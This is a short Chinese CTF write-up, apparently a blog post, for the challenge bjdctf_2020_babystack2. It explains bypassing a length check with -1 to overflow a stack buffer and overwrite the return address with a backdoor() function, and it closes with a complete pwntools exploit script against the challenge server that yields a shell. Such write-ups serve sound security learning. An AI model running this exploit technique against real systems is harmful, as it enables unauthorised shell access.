bjdctf_2020_babystack2
使用checksec查看:

只开启了栈不可执行。
先放进IDA中分析:

__isoc99_scanf("%d", &nbytes);:用户输入第二次输入的长度。read(0, &buf, (unsigned int)nbytes);:向变量buf内读取用户第一次输入长度大小的数据。
存在backdoor():

- 直接getshell,调用即可。
题目思路
- 用
-1绕过长度限制。 - 覆盖返回地址为
backdoor()的地址。
步骤解析
无需
完整exp
from pwn import *
#start
r = remote("node4.buuoj.cn",27324)
# r = process("../buu/bjdctf_2020_babystack2")
elf = ELF("../buu/bjdctf_2020_babystack2")
#params
backdoor_addr = elf.symbols['backdoor']
#attack
r.recv()
r.sendline(b"-1")
r.recv()
payload = b'M'*(0x10+8) + p64(backdoor_addr)
r.sendline(payload)
r.interactive()
该博客详细介绍了如何通过分析程序,利用栈不可执行的保护措施,结合ida工具,找到backdoor函数,并构造payload绕过长度限制,最终获取shell的过程。主要涉及逆向工程和漏洞利用技巧。
791

被折叠的 条评论
为什么被折叠?



